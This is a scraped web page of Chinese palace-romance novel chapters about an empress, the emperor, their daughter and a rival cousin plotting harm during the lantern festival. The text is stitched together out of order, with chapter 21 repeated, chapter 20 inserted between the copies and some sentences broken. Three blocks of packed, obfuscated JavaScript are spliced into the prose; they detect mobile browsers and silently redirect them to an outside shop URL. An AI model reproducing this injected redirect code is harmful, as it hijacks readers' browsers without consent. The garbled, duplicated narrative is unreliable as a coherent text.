见她视线落在棋局上,他的大掌忽地拂过棋盘,棋盘上棋子的布局瞬间被打得凌乱。 薛弗玉见此没有任何的反应,反正她刚才已经记下了。 “既然是陛下邀请,臣妾只好班门弄斧了。”她微微一笑,蕴了秋水的眸子亮了起来,仿若晨曦前最亮的星子。 谢敛的身影映在她琉璃般的茶色瞳孔里,他拾棋子的手微微一顿,而后收回自己的目光,继续若无其事挑拣棋盘上的黑白子,捡起后将他们一一放进属于自己的棋篓里。 很快视野中出现一只莹白如玉的手,只见它挑着黑子捡,那黑子被她拿在手中,更衬得她的手匀净白皙。 十指纤纤,柔弱无骨。 曾经被他放在掌中无情揉弄的手指,眼下倒像是有看不见的钩子一下又一下地勾着他。 谢敛喉头瞬间上下滚动了一遭,最终强迫自己把目光从她漂亮的手指上移开,他端起不知何时已经冷掉的茶水喝下,才觉得心里的那点躁动安抚了些。 “陛下可是要执白子?”娇柔的嗓音在耳边缓缓响起,谢敛只觉得才被冷茶压下去的燥意又被眼前的妖精勾了起来。 迟迟听不到他的回答,薛弗玉看向他的眸中带了疑惑:“陛下?” 谢敛听出了她语气中的催促之意,他撇了她一眼,心里暗暗道了句妖精,面上却是一本正经,颇有风度道:“皇后先选吧。” 薛弗玉不跟他客气,直接选了本就放在自己这边的黑子。 “那臣妾便选黑子。” 谢敛没有异议,就在薛弗玉要下的时候,却沉吟道:“光下棋没什么趣儿,不如设个赌局。” 薛弗玉手上动作一停,抬头看他:“陛下想要怎么个赌法?” 总不能是赌钱吧,再怎么说他们两个都不缺钱,再者真要赌钱也没什么意思。 谢敛略做思考,目光扫过她白润的手指,最后低声笑了笑,道:“不若输了的人答应赢的人做一件事。” 这种赌局薛弗玉在一般情况下都不会应,可对方是皇帝,她自然不能不应,但她却隐隐察觉到了什么。 莫非是等他赢了,便要她答应他纳薛明宜为妃的事? 她略做思考,最终才点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007144|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下既然说了,那便按照陛下所说的来。” 语罢指间黑子已经落在了棋盘上。 在她垂眸下黑子的时候,谢敛的眸中闪过得逞的笑。 他的棋艺早已不是几年前那般蹩脚,他喜欢与人博弈的感觉,所以登基后他在闲暇之余时常找人下棋,又有名师指导,棋艺可谓是突飞猛进,对付眼前的女子简直绰绰有余。 一开始确实是白子占了上风,就在他稳操胜券时,却没发现坐于对面的女子脸上的神色渐渐凝重了起来。 不多时,黑子开始反攻,不过几个来回,黑白子的局势颠倒,最后变成黑子占了上风。 谢敛眉头一皱,抬眼觑了对面女子一眼,却见她眉头舒展,没了先前的凝重。 这时候他才发现自己轻敌,她方才所说的班门弄斧只不过是她的自谦。 坐在对面的女子看着柔婉,可指尖下的黑子却仿若破一把刚出鞘的利剑,剑尖直指他的命脉。 他倒是忘了,她出身将门,即便面上看着温柔,可内里却坚韧。 就像是在凌冽寒冬里盛开的白梅。 收起这些杂念,他难得认真了起来。 “臣妾输了。” 最终白子堪堪险胜。 薛弗玉有些遗憾,她已经许久不曾下棋,没想到棋艺生疏至此,输给谢敛让她意外,不过也知道了谢敛这些年必然在棋艺上下了苦功夫。 如今的他也不再是当年那个被她完虐的少年。 只是希望谢敛能有良心,不要拿赢得的赌局去要求她给他办事。 她心中忐忑不安,一整个下午都防着他,可直到俩人已经躺在榻上,都不见他提起任何关于薛明宜的事。 莫非是她和李德全想岔了,其实谢敛今日来凤鸾宫,纯粹就是因为闲的?她背对着谢敛拧眉思索。 正当她胡思乱想之际,炽热的大掌贴上了她柔软的腹部,接着被带进了一个温暖的怀中,她的后背紧紧贴着对方宽阔的胸膛,感受着对方胸腔传出的强有力的心跳声。 “今日,太后和成王妃求朕网开一面,放了你三叔,朕没答应。”就在薛弗玉以为他要做什么时,却只听见他道了这句。 她愣了一下,而后柔声道:“若三叔真触犯了律法,陛下该如何便如何,否则难安民心。” “他是你三叔,你不求情?”男人有些以外。 薛弗玉巴不得薛家人倒霉,她若是想要求情,早在祖母找她的那天就向他求情了。 她道:“三叔贪得无厌,这样的人放在朝廷,也是一个祸害。” 身后的男人似乎笑了一下,接着只听见他道:“你倒是大义凌然,不过朕很满意你愿意站在朕这边。” 说完二人之间突然沉默了下去,半晌,她听见男人哑着声音道:“白天的事,抱歉。” 薛弗玉以为自己听错了,呼吸几个来回,确定方才不是幻听,她不知道怎么回答,索性就当没听见。 许久没有听见她的声音,谢敛心里生出些许的失落,明知道她假装没听见,可他却也拿她没办法。 他急切地想要证明,在她的心里,是有他的。 男人将下巴搁在她的颈窝边,呼出的是热气缠上她的耳廓,委屈道:“玉姐姐,帮帮朕......” 薛弗玉被男人禁锢在胸前,耳边是他温热的吐息,她的身子瞬间起了鸡皮疙瘩,正要推开之际,耳朵突然被轻轻咬住,整个人瞬间软了下来。 “陛下,不行......”忍着身子因为他的撩拨而带起的反应,她软着声音拒绝。 谢敛这一次却与上次不同,没有因为她搬出张太医而熄了火,反而一只手握着她的手,摩挲着她的手哑声道:“朕白日赢了玉姐姐,如今就同玉姐姐讨要,玉姐姐不能耍赖。” 薛弗玉暗骂他禽兽,狠了心想要抽回自己的手,却纹丝不动。 男人将她翻了个身让她面对自己,而后又握住了她的手,再次贴上她的耳朵,炙热的呼吸带着潮湿,嗓音喑哑半哄半骗:“朕不会真的要玉姐姐,只需玉姐姐用这个便好......” 一声声玉姐姐落在薛弗玉的耳中,她只觉得心都要被他叫软了。 感觉到了她的动摇,谢敛攥着她手的力度慢慢收紧,呼吸逐渐急促。 21、第 21 章(含入v公告) 上元节这天,宫里挂满了各种各样的灯笼。 天色刚刚擦黑,薛弗玉正站在院中看宫人把最后一个小灯笼挂在柱子上。 “娘娘,这些灯笼都是内侍省精挑细选的,娘娘若是喜欢,明年咱们还继续让他们做这种!” 素月站在冷风中呵出一口气,又搓了搓手。 薛弗玉对这些倒是没什么在意的,只是昭昭喜欢,她便让内侍省的人在做彩灯的时候上心一点。 “阿娘!” 被打扮得比年画上的娃娃还精致的小公主蹦蹦跳跳地进来,跟在她身后的奶嬷嬷和几个宫人面上也都带着喜气。 薛弗玉闻声而去,还未看见人,就被昭昭抱住了大腿。 她唇边的笑意深了些,把手放在她的脸上和手上碰了碰,发现是温热的,这才放心。 “冷不冷呀?”薛弗玉柔声问。 “不冷~嬷嬷说今天过节,昭昭要和阿娘一起过。”昭昭撒娇。 说着她松开了薛弗玉,看着满院子各式各样的灯笼,隔一会儿就发出惊讶的声音。 看着小姑娘满院子乱跑,薛弗玉的心情也好上了许多。 她坐在垫了厚厚毛毯的廊庑下,看着昭昭和她宫里的宫人玩闹,眼神愈发的温柔。 只是隐约中,似乎有什么事情被她遗忘了。 她一低头,看见被自己藏起来的小小鱼灯,才想起,这是她给昭昭的惊喜。 这个鱼灯是她跟着内侍省的人学的,她跟着做坏了几个才得了这个精致小巧又轻便的鱼灯,昭昭举着玩儿也不会累。 “公主殿下快来,娘娘有惊喜给您!” 素月对着在不远处追逐宫人的昭昭大声道。 昭昭笑着跑了一半,听见她唤自己,又听说有惊喜,她放弃追逐宫人,噔噔噔地跑上了石阶,趴在薛弗玉的膝上,仰起一张红彤彤的脸认真地问:“阿娘,什么是惊喜呀?” 薛弗玉眸中带笑,伸手拨了拨她额前的跑乱的碎发,而后才拿出自己亲手做的鱼灯。 她与素月相视一笑,柔声道:“惊喜呀,这就是这个!” “哇!”昭昭夸张地张大嘴巴,一双眼睛直溜溜地盯着薛弗玉手中的漂亮鱼灯。 素月看见她的表面忍俊不禁:“公主喜欢吗,这可是娘娘亲手给公主做的哦。” 昭昭头一次见鱼灯,一张脸充满了兴奋,她从薛弗玉的手中接过:“公主很喜欢!阿娘最好啦,昭昭最喜欢阿娘了!” 说着扯了扯薛弗玉的衣裳示意她俯身,最后在她的脸上猛猛亲了一口。 “昭昭难道不喜欢父皇?”突兀的声音响起。 薛弗玉再转头,正好看见身穿玄色大氅的男人走来,此时他的脸上难得带了一丝笑意。 “父皇~” 昭昭举着鱼灯下了石阶跑向男人。 谢敛瞧见她手中的鱼灯,锋利的眉毛微挑,视线落在站在廊庑下的女子。 思绪突然飘远,有一年薛弗玉也曾给他做过莲花灯,不过不是上元节,而是中元节。 中元节,宫中不得祭祀,可他还是偷偷让人从宫外买了香烛纸钱想要祭祀生母,结果在中元节前一天被太子发现,把他好不容易得来的这些东西都扔进了水中,他生气得揍了太子一顿,皇后大怒,罚他跪了一天。 到了中元节的晚上,他一瘸一拐地回来,正好看见女子手中拿着一盏莲花灯,眉眼温柔地对他说,可以用莲花灯寄托对逝去之人的思念。 他在宫里生活了十七年,却从来不知道原来莲花灯也可以寄托思念。 那晚,她带着他避过所有的宫人,来到通往宫外的御河,后来她又不知道从哪变出另一盏荷花灯,给他塞了一根蜡烛让他点了放在莲花灯里。 最后他看着在河面上颤颤巍巍逐渐飘走的两盏莲花灯,最终变成两颗星子,消失在皇宫之外。 依稀记得,那晚天上的月光很亮,伴着稀疏的几颗星子,而身边的女子,柔美得不似真人,就像是天上的仙子。 那两盏莲花灯,大约也是她偷偷做的。 这时候他才反应过,他那时悼念的是母亲,而她悼念的却是亡故的双亲。 “你阿娘给做的?”他很快收回思绪,弯腰一手把昭昭抱了起来低声问。 昭昭高兴地点头:“嗯,素月姐姐说是阿娘亲手给昭昭做的,昭昭很喜欢!” 谢敛的目光穿透鱼灯,其实,他也很喜欢。 “那父皇白天给你送的那些,可也喜欢?”谢敛又问。 他自然也吩咐了内侍省,常常做一些奇技淫巧的玩意儿哄公主开心,今日上元节又送了一箱子过去。 昭昭老实点头:“喜欢。” 不过她更喜欢阿娘亲手给她做的东西,小姑娘在心里嘀咕。 谢敛得了女儿的肯定,唇边泛起笑意,他抱着人走到薛弗玉的身边,瞧见她面色红润,便知道她的身体没什么大碍了。 “陛下可用过晚膳了?” 薛弗玉一边逗女儿一边问他,往常他来之前,御前的人都会先来通传,今日没人来通传,她便觉得这男人忘记了今天是什么日子,索性没让小厨房准备他的份。 谢敛睨了她一眼,很快明白过来,她大约是忘了几日前,他说今晚要带她出宫赏灯的事了。 “皇后忘了那日朕与你说的事了?”他不答反问。 哪日?薛弗玉眨了眨眼睛,他什么时候与她说了什么? “陛下可否明说,臣妾一时想不起来的。” 见她眼中带着迷茫,谢敛更加肯定她是真的忘记了。 不知为何,心中蓦地生出一股委屈,只是这委屈很快又被不悦给取代。 他冷笑一声:“那日你动了胎气,朕亲自与你说,等你身子好些了,便在上元节这晚带你出宫赏灯,你怎么反而忘了。” 她倒好,转头就把这件事给忘得一干二净,真是好得很! 这时候薛弗玉才恍然大悟,她讶然道:“原来是这件事,臣妾还以为陛下是为了哄臣妾说的。” 所以她才没当真呀...... 不对,不对,谢敛皱眉。 她不该是这样的反应,她应该和那时一样高兴才对。 谢敛不满她的回答,只觉得喉咙间像是被什么给堵住了,最后他语气带了一点恼怒:“朕何时会说哄你的话!” 薛弗玉却像是感受不到他的怒气,她面上仍旧是温和的神色:“陛下可还记得,上次您答应臣妾的,在昭昭生辰那天会陪昭昭用晚膳,结果却失约了,陛下说是不是哄臣妾的?” 没想到她会拿昭昭生辰那日的事来说,可他那日确实逼不得已,后面他不是还给昭昭补了生辰礼物,亲自给昭昭道歉了。 昭昭都原谅他了,她怎么还记着。 “那次是朕不对,可这一次朕并没有要哄你的意思......” 在薛弗玉温柔的目光下,他还是败下阵来。 薛弗玉却惊讶于他居然这么快就承认了错误,看来还没有到不可挽救的地方啊...... 她嘴唇微微上扬,问:“那今晚陛下还要带臣妾出宫吗?” 不等谢敛回答,昭昭不安分地扭着身子先问了:“父皇和阿娘要出宫玩儿,昭昭从来没有出宫,昭昭也想去,昭昭也要去,昭昭也要去~” 谢敛听着女儿在耳边叽叽喳喳的,只觉得眉心突突地跳,他把人搂紧,换了严肃的表情:“昭昭乖,你还小,等昭昭再大一点,父皇再带你出宫好么?” 上元的街市人潮汹涌,昭昭太小了,带着她确实不太方便。 听到父皇不愿意带上她,昭昭嘴巴一瘪,眼圈瞬间就红了,她道:“父皇坏,不带昭昭一起玩,我不要父皇抱,我要阿娘。” 说着她身子一扭,朝着薛弗玉张开双手。 薛弗玉瞧见小姑娘哭唧唧的,顿时心疼得不得了,把人从谢敛的怀中抱走,轻声哄她:“昭昭不哭,外面太冷了,会冻坏昭昭的。” “昭昭不怕冷,昭昭就要跟着阿娘和父皇。”昭昭趴在她的肩上揉着眼泪道。 薛弗玉漂亮的眉毛轻皱,有些无助地看了一眼谢敛:“陛下......” 谢敛从她的眼中读懂了她的意思,这是在怪他把女儿给弄哭了。 他眉头一皱,强行将人从她的怀中抱走,从宫人手中接过帕子耐心给她擦眼泪,语气无奈:“好了,父皇带你出宫,好么?” 最终,一家三口坐上一辆低调豪华的马车,从朱雀门悄悄地出了宫。 ...... “娘娘,咱们真的能碰见陛下和皇后娘娘吗?” 宝扇站在桥上张望,看着河边两边人潮汹涌,她站在这里已经快一个时辰了,哪里见到了帝后的身影。 薛明宜顶着瑟瑟寒风,今晚为了偶遇皇帝,她特意穿得单薄,头上戴了回京后他赏赐的红宝石珠钗。 此时一张脸被冻得苍白,她紧咬嘴唇:“小安子的消息不会有错的,咱们再等等。” 语罢,她视线落在一处支起来的棚子前,正好瞧见熟悉的一家三口停在棚子前,男子生得高大,一只手轻松抱着个五官漂亮的小姑娘,俊美的脸微微侧着与身边站得极近的女子说话,女子即便披着白色狐裘,那狐裘没显得她身材臃肿,反而衬得她一张巴掌大的脸更加精致。 “还是出宫了啊......”薛明宜目光闪烁。 那边女子与男人说着话,男人唇边始终噙着一抹笑意,温柔地看着女子。 温馨的画面刺痛了薛明宜的双眼,她的指甲紧紧陷进掌心,一双眼睛死死盯着不远处雍容的女子。 “人都准备好了吗?”薛明宜深吸了一口气,问宝扇。 宝扇踟蹰了一下,才回答:“准备好了,娘娘,咱们真的要这样做吗?” 不同于薛明宜的平静,宝扇还是有些害怕的,那可是皇后娘娘。 “我也不想的,可谁让二姐姐又怀了他的孩子。” 说这话的时候,薛明宜的眼中不经意透露出异样的执着。《 》 20. 第 20 章 谢敛走到薛弗玉的榻前,眉头皱起,他没想到几日不见薛弗玉,她就敢给成王妃母女禁足。 若是让御史台的那群人知道了,非得弹劾她,那群人连他这皇帝都敢弹劾,更别说是她这个无势的皇后。 况且不能薛明宜待在府中不得出,他还有要用到她的地方。 且成王生前在西北做了不少实事,又英年早逝,留下成王妃和孩子让不少人同情,这个节骨眼上皇后禁足成王妃,众人只会觉得皇后在为难一个没有依靠的霜妇。 必定会引起朝臣不满。 “听说今日成王妃得罪了皇后,皇后下令禁足了成王妃和郡主?” 谢敛一开口就是质问,让本就不适的薛弗玉生出荒谬的感觉来。 她仰起一张略显苍白的脸,唇角微微往下压,语气无力:“陛下不问问成王妃做了何事,臣妾才会将她禁足吗?” 谢敛一愣,这时候才发现她躺在床上,脸色略显苍白。 跟着李德全的小太监只是急匆匆地前来与他说皇后娘娘要禁足成王妃,其他的并未多说,可眼下再看床上女子,分明就是与薛明宜发生了什么不愉快的事。 他倒是忘了,她性子一向温婉,如何会好端端地突然将人禁足? “你怎么了?身子哪里不适?”谢敛脸色缓和了些,下意识坐在离她更近的床沿。 薛弗玉还以为他不会管自己的身子了,她扯了扯唇角,才缓缓道:“郡主没有规矩,在臣妾的宫里乱跑,撞到了臣妾的小腹,张太医说臣妾动了胎气,要休养好几天。” 谢敛没想到会是这样,他的视线落在薛弗玉被锦被盖得严严实实的小腹上,目光微闪,似想到了什么,很快又收了回去。 “可有什么不适的地方?”问出口的话里,暗含紧张。 这时候知道紧张了?薛弗玉扫了坐在身前的男人一眼,不明白他为何变得这般快,只轻声道:“除了钝痛之外,再无别的不适,张太医说了,没什么大碍。” 得了她的回答,谢敛才略略放心。 而后他又深深看着她,耐心解释道:“成王妃丧夫回京,本就颇受朝廷注目,若皇后还要禁足她们母女,恐会被御史台的人盯上,让成王妃和郡主学规矩可以,但禁足的事便罢了。” 更何况成王妃不出来走动,那些人自然会怀疑。 薛弗玉早猜到他会为薛明宜母女求情,可当这些话真正从他的口中说出的时候,她还是觉得心里泛起阵阵苦涩。 本以为可以借此事敲打薛明宜,没想到谢敛竟是把人护着,根本不给她机会。 默了一瞬,她终是在心里叹了口气,只能妥协:“陛下怜惜她们母女,臣妾也不好做得太绝,臣妾都听陛下的。” 谢敛不敢去看她失落的神色,把手放在她略显冰凉的手背上,然后将她的手放在掌心,“这几日你且安心养胎,等十五那日晚上朕带你出宫赏灯。” 好一个打一巴掌给个甜枣,薛弗玉在心底无奈笑了笑,最终唇边扯出一抹惯用的浅笑:“臣妾会好好养胎,陛下不用担心。” 至于他所说的带她出门赏灯,有了上次昭昭生辰的事,她不认为这个男人真到了上元那天,还能记得今日说出的话。 她的话刚说完,就感觉握着自己的手力道又紧了些。 “得妻如此,是朕之幸。”谢敛感叹道。 薛弗玉像是感受不到他掌心的温暖,她不经意地把手从他的掌心抽出,在他愕然的一瞬间躺下,而后疲惫出声:“臣妾身子不适,想要休息,还请陛下见谅。” 明明她的语气仍旧温柔轻缓,可谢敛总觉得有什么不对的地方,掌心还残留着她手上带来的余温,像是有什么东西在失去,他猛地将手掌握成拳头,再次看床上的女子时,发现她已经阖上了双眸。 今日一事倒是让他明白,薛明宜本性不改,薛家人与她都说,她们姐妹关系亲厚,怕也是假的,他后悔那日与她说让薛明宜进宫陪她解闷的话了。 幸而她今日无事,若是出事...... 漆黑的眸子骤然加深,他盯着那张过分貌美却又苍白的脸,一时心中不知是何滋味。 薛弗玉知道他还没走,她闭着眼睛选择眼不见为净,却又因为自己方才突然将手从他的掌心抽出而担心,担心他察觉到了她的不耐。 这男人小气得很,要是知道她的心思,还不得生气? 可他一直不走,倒是让她有些不自在,只能在心里默默祈祷他快些离开,也好还她一个自在清静的环境。 谢敛瞧见她微微转动的眼珠子,便知道她一时也睡不着,但她都发话了,明显不想他打扰她,难不成他还要赖在床边? 念在她身子不适,他便不打算跟她计较,道:“好好休息,今晚朕再来看你。” 说着便起身。 直到他完全地走出去后,薛弗玉才重新睁开了眼。 “走了吗?”见碧云从外面进来,她问。 碧云自然知道她问的是谁,她恭敬地回答:“陛下走了,不过临走前吩咐奴婢们这几天要用心照顾娘娘,若是出了任何的差池,定不会饶过奴婢们。” 说这些又有什么用? 真正的罪魁祸首他轻轻放过,什么惩罚也没有。 薛弗玉沉默,她闭上眼睛,只觉得眼角一片酸涩,“碧云,我是不是不该那般与成王妃生气,毕竟陛下看重她,我若是让她吃了苦头,陛下兴许还会怪上我。” 碧云道:“娘娘何必如此小心,娘娘跟在陛下身边十年,以前陪着陛下吃了不少苦,又为陛下诞下公主,陛下再如何,也不会真的为了外人与娘娘生分。” “是吗?”薛弗玉再次睁开眼睛,眼中已然一片清明,“你说得对,不管如何,我都是他的发妻,除非犯下不可饶恕的错,否则他寻不到我的错处,自然不能拿我怎么样。” “娘娘说得正是这个理儿,况且眼下娘娘还怀着小皇子,陛下疼爱娘娘还来不及,又如何会故意找娘娘的错?” 提到她腹中的孩子,碧云语气中带上了明显的喜气。 孩子...... 薛弗玉苦笑一声,“这孩子怕是......” 说着她像是意识到了什么,没有再继续往下说。 “娘娘方才说什么?”碧云一时没听清楚。 “没什么,我累了,你出去吧。” —— 成王府。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17007146|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛明宜愤愤地坐在椅子上,脸色黑得如同锅底,她扬起手中的茶盏想要摔在地上,宝扇见了忙上前制止。 “娘娘息怒!”她将茶盏从她的手中救出,“娘娘不觉得今日之事有些奇怪,郡主不过是只撞了一下皇后娘娘,她身边的那群宫人却担心得什么似的,就好像——” 薛明宜气着问:“就好像什么?我看她是做了几年的皇后,都忘记了自己是从西北来的乡下村妇了!装出什么温柔贤惠的样子,明明就是个粗鄙的女人!” 要不是她在陛下耳边吹耳旁风,陛下又怎么不愿放了她父亲?! 这些都要怪薛弗玉! 宝扇见她一提起薛弗玉就来气,忙道:“娘娘太过担心郡主才会遗漏,可是奴婢看得真真的,皇后娘娘被撞后一直捂着小腹,她身边的宫女直接让人去请张太医,奴婢这些日子也对宫里的事情摸清了一些,张太医虽然是太医院院首,可最擅长的却是妇科,她们那般紧张,莫非是皇后娘娘她......” 没有说完的话却轻易就让薛明宜读懂,她腾地站起身,一副不可置信的模样:“不可能,那刘太医不是说偷看了张太医写的脉案,笃定她子嗣艰难?而且她的小腹平坦,根本不像是怀有身孕的样子!” 她被姝姝撞到小腹,自然会下意识捂着,绝对不可能,她怎么可以再次怀上陛下的孩子,若是这一次一举得男,日后她如愿进宫,她与陛下的孩子还如何能成为太子? 宝扇安抚她道:“娘娘不要着急,待奴婢着人去宫里打探是否真如奴婢猜到的一样,如今娘娘要做的就是静观其变。” 薛明宜只觉得惊慌烦躁,她今日被薛弗玉禁足,又得知对方大约怀了孕,还有比这些更糟糕的事吗? 正当她像只无头苍蝇乱转时,小太监小安子却笑眯眯地来了,“奴才拜见王妃娘娘。” “小安子?你来做什么?可是陛下知道郡主撞伤了皇后娘娘,命你来惩罚我们?”薛明宜瞪大眼睛道。 小安子正是她们买通的小太监。 小安子脸上的笑意不减反增:“奴才是来恭喜娘娘的,陛下听说皇后娘娘禁足王妃娘娘,立即就命奴才出宫来告诉娘娘,解了娘娘的禁足,不过娘娘仍要学习规矩。” 薛明宜闻言,心里阴霾顿时一扫而空,但是很快,她又想到薛弗玉怀孕一事,她对着小安子招了招手:“你且上前。” 小安子以为她是有什么要吩咐,听话上前,谁知道她只是问这件事。 “娘娘问得确有其事,只是皇后娘娘才怀有一月有余的身孕,所以陛下并未大肆张扬,还是娘娘心细发现了。” 有了小安子的肯定,薛明宜只觉得心情又跌入了谷底,一口银牙都要咬烂了。 “宝扇,怎么办,若是她真的生下皇长子,哪里还有咱们的机会?” 打发走小安子后,薛明宜立刻担心道。 宝扇转了转眼珠子,突然道:“方才小安子不是透露说陛下十五那晚要带娘娘出宫,娘娘怀着身孕,街上人挤人的,若是出个意外......” 薛明宜立刻会意,惨白的脸变得有些扭曲:“你说得对,二姐姐怀有身孕,陛下怎么这般不小心,非要带着她出宫。” 21. 第 21 章(含入v公告) 上元节这天,宫里挂满了各种各样的灯笼。 天色刚刚擦黑,薛弗玉正站在院中看宫人把最后一个小灯笼挂在柱子上。 “娘娘,这些灯笼都是内侍省精挑细选的,娘娘若是喜欢,明年咱们还继续让他们做这种!” 素月站在冷风中呵出一口气,又搓了搓手。 薛弗玉对这些倒是没什么在意的,只是昭昭喜欢,她便让内侍省的人在做彩灯的时候上心一点。 “阿娘!” 被打扮得比年画上的娃娃还精致的小公主蹦蹦跳跳地进来,跟在她身后的奶嬷嬷和几个宫人面上也都带着喜气。 薛弗玉闻声而去,还未看见人,就被昭昭抱住了大腿。 她唇边的笑意深了些,把手放在她的脸上和手上碰了碰,发现是温热的,这才放心。 “冷不冷呀?”薛弗玉柔声问。 “不冷~嬷嬷说今天过节,昭昭要和阿娘一起过。”昭昭撒娇。 说着她松开了薛弗玉,看着满院子各式各样的灯笼,隔一会儿就发出惊讶的声音。 看着小姑娘满院子乱跑,薛弗玉的心情也好上了许多。 她坐在垫了厚厚毛毯的廊庑下,看着昭昭和她宫里的宫人玩闹,眼神愈发的温柔。 只是隐约中,似乎有什么事情被她遗忘了。 她一低头,看见被自己藏起来的小小鱼灯,才想起,这是她给昭昭的惊喜。 这个鱼灯是她跟着内侍省的人学的,她跟着做坏了几个才得了这个精致小巧又轻便的鱼灯,昭昭举着玩儿也不会累。 “公主殿下快来,娘娘有惊喜给您!” 素月对着在不远处追逐宫人的昭昭大声道。 昭昭笑着跑了一半,听见她唤自己,又听说有惊喜,她放弃追逐宫人,噔噔噔地跑上了石阶,趴在薛弗玉的膝上,仰起一张红彤彤的脸认真地问:“阿娘,什么是惊喜呀?” 薛弗玉眸中带笑,伸手拨了拨她额前的跑乱的碎发,而后才拿出自己亲手做的鱼灯。 她与素月相视一笑,柔声道:“惊喜呀,这就是这个!” “哇!”昭昭夸张地张大嘴巴,一双眼睛直溜溜地盯着薛弗玉手中的漂亮鱼灯。 素月看见她的表面忍俊不禁:“公主喜欢吗,这可是娘娘亲手给公主做的哦。” 昭昭头一次见鱼灯,一张脸充满了兴奋,她从薛弗玉的手中接过:“公主很喜欢!阿娘最好啦,昭昭最喜欢阿娘了!” 说着扯了扯薛弗玉的衣裳示意她俯身,最后在她的脸上猛猛亲了一口。 “昭昭难道不喜欢父皇?”突兀的声音响起。 薛弗玉再转头,正好看见身穿玄色大氅的男人走来,此时他的脸上难得带了一丝笑意。 “父皇~” 昭昭举着鱼灯下了石阶跑向男人。 谢敛瞧见她手中的鱼灯,锋利的眉毛微挑,视线落在站在廊庑下的女子。 思绪突然飘远,有一年薛弗玉也曾给他做过莲花灯,不过不是上元节,而是中元节。 中元节,宫中不得祭祀,可他还是偷偷让人从宫外买了香烛纸钱想要祭祀生母,结果在中元节前一天被太子发现,把他好不容易得来的这些东西都扔进了水中,他生气得凑了太子一顿,皇后大怒,罚他跪了一天。 到了中元节的晚上,他一瘸一拐地回来,正好看见女子手中拿着一盏莲花灯,眉眼温柔地对他说,可以用莲花灯寄托对逝去之人的思念。 他在宫里生活了十七年,却从来不知道原来莲花灯也可以寄托思念。 那晚,她带着他避过所有的宫人,来到通往宫外的御河,后来她又不知道从哪变出另一盏荷花灯,给他塞了一根蜡烛让他点了放在莲花灯里。 最后他看着在河面上颤颤巍巍逐渐飘走的两盏莲花灯,最终变成两颗星子,消失在皇宫之外。 依稀记得,那晚天上的月光很亮,伴着稀疏的几颗星子,而身边的女子,柔美得不似真人,就像是天上的仙子。 那两盏莲花灯,大约也是她偷偷做的。 这时候他才反应过,他那时悼念的是母亲,而她悼念的却是亡故的双亲。 “你阿娘给做的?”他很快收回思绪,弯腰一手把昭昭抱了起来低声问。 昭昭高兴地点头:“嗯,素月姐姐说是阿娘亲手给昭昭做的,昭昭很喜欢!” 谢敛的目光穿透鱼灯,其实,他也很喜欢。 “那父皇白天给你送的那些,可也喜欢?”谢敛又问。 他自然也吩咐了内侍省,常常做一些奇技淫巧的玩意儿哄公主开心,今日上元节又送了一箱子过去。 昭昭老实点头:“喜欢。” 不过她更喜欢阿娘亲手给她做的东西,小姑娘在心里嘀咕。 谢敛得了女儿的肯定,唇边泛起笑意,他抱着人走到薛弗玉的身边,瞧见她面色红润,便知道她的身体没什么大碍了。 “陛下可用过晚膳了?” 薛弗玉一边逗女儿一边问他,往常他来之前,御前的人都会先来通传,今日没人来通传,她便觉得这男人忘记了今天是什么日子,索性没让小厨房准备他的份。 谢敛睨了她一眼,很快明白过来,她大约是忘了几日前,他说今晚要带她出宫赏灯的事了。 “皇后忘了那日朕与你说的事了?”他不答反问。 哪日?薛弗玉眨了眨眼睛,他什么时候与她说了什么? “陛下可否明说,臣妾一时想不起来的。” 见她眼中带着迷茫,谢敛更加肯定她是真的忘记了。 不知为何,心中蓦地生出一股委屈,只是这委屈很快又被不悦给取代。 他冷笑一声:“那日你动了胎气,朕亲自与你说,等你身子好些了,便在上元节这晚带你出宫赏灯,你怎么反而忘了。” 她倒好,转头就把这件事给忘得一干二净,真是好得很! 这时候薛弗玉才恍然大悟,她讶然道:“原来是这件事,臣妾还以为陛下是为了哄臣妾说的。” 所以她才没当真呀...... 不对,不对,谢敛皱眉。 她不该是这样的反应,她应该和那时一样高兴才对。 谢敛不满她的回答,只觉得喉咙间像是被什么给堵住了,最后他语气带了一点恼怒:“朕何时会说哄你的话!” 薛弗玉却像是感受不到他的怒气,她面上仍旧是温和的神色:“陛下可还记得,上次您答应臣妾的,在昭昭生辰那天会陪昭昭用晚膳,结果却失约了,陛下说是不是哄臣妾的?” 没想到她会拿昭昭生辰那日的事来说,可他那日确实逼不得已,后面他不是还给昭昭补了生辰礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17007147|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,亲自给昭昭道歉了。 昭昭都原谅他了,她怎么还记着。 “那次是朕不对,可这一次朕并没有要哄你的意思......” 在薛弗玉温柔的目光下,他还是败下阵来。 